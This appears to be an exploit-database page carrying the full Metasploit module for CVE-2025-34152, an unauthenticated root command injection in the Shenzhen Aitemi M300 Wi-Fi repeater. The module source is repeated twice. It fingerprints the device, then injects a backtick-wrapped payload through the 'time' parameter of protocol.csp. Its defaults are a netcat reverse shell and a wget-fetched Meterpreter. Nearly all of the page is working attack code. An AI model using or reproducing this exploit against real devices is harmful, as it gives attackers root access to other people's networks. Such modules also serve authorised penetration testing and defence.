9.4
/ 10
CRITICAL
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/SC:H/VI:H/SI:H/VA:H/SA:H
Description
This Metasploit module exploits an unauthenticated remote command injection...
Basic Information
ID
PACKETSTORM:209361
Published
Sep 10, 2025 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',
'Description' => %q{
This module exploits an unauthenticated remote command injection vulnerability
in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability
lies in the 'time' parameter of the time configuration endpoint, which is passed
unsanitized to a shell command executed via the `date -s` mechanism. The injection
executes with root privileges, without requiring authentication, reboot, or
network reconfiguration.
},
'Author' => [
'Valentin Lobstein' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
['CVE', '2025-34152']
],
'Platform' => %(linux unix),
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
'Payload' => {
'BadChars' => "\x60"
},
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',
{
'Platform' => 'linux',
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
'DefaultOptions' => {
'FETCH_DELETE' => true,
'FETCH_COMMAND' => 'WGET',
'FETCH_WRITABLE_DIR' => '/tmp',
'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2025-08-07',
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
fingerprint_hits = []
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'favicon.ico')
)
return CheckCode::Unknown('No response from target') unless res
return CheckCode::Safe('favicon.ico not found') unless res.code == 200
hash = Digest::SHA256.hexdigest(res.body)
if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'
print_good('Favicon hash matched – likely Aitemi M300 device')
fingerprint_hits << 'favicon'
end
server_header = res.headers['Server']
if server_header&.start_with?('lighttpd/1.4.32')
print_good("HTTP server version matched: #{server_header}")
fingerprint_hits << 'httpd'
end
%w[index.html home.html].each do |page|
res_html = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, page)
)
next unless res_html&.code == 200
if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')
print_good("HTML fingerprint matched in #{page} – UI strings detected")
return CheckCode::Appears('HTML language markers confirmed')
end
end
if fingerprint_hits.any?
return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")
end
CheckCode::Unknown('No identifiable fingerprint found')
end
def exploit
raw_payload = "`#{payload.encoded}`"
encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',
'Description' => %q{
This module exploits an unauthenticated remote command injection vulnerability
in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability
lies in the 'time' parameter of the time configuration endpoint, which is passed
unsanitized to a shell command executed via the `date -s` mechanism. The injection
executes with root privileges, without requiring authentication, reboot, or
network reconfiguration.
},
'Author' => [
'Valentin Lobstein' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
['CVE', '2025-34152']
],
'Platform' => %(linux unix),
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
'Payload' => {
'BadChars' => "\x60"
},
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',
{
'Platform' => 'linux',
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
'DefaultOptions' => {
'FETCH_DELETE' => true,
'FETCH_COMMAND' => 'WGET',
'FETCH_WRITABLE_DIR' => '/tmp',
'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2025-08-07',
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
fingerprint_hits = []
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'favicon.ico')
)
return CheckCode::Unknown('No response from target') unless res
return CheckCode::Safe('favicon.ico not found') unless res.code == 200
hash = Digest::SHA256.hexdigest(res.body)
if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'
print_good('Favicon hash matched – likely Aitemi M300 device')
fingerprint_hits << 'favicon'
end
server_header = res.headers['Server']
if server_header&.start_with?('lighttpd/1.4.32')
print_good("HTTP server version matched: #{server_header}")
fingerprint_hits << 'httpd'
end
%w[index.html home.html].each do |page|
res_html = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, page)
)
next unless res_html&.code == 200
if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')
print_good("HTML fingerprint matched in #{page} – UI strings detected")
return CheckCode::Appears('HTML language markers confirmed')
end
end
if fingerprint_hits.any?
return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")
end
CheckCode::Unknown('No identifiable fingerprint found')
end
def exploit
raw_payload = "`#{payload.encoded}`"
encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
)
end
end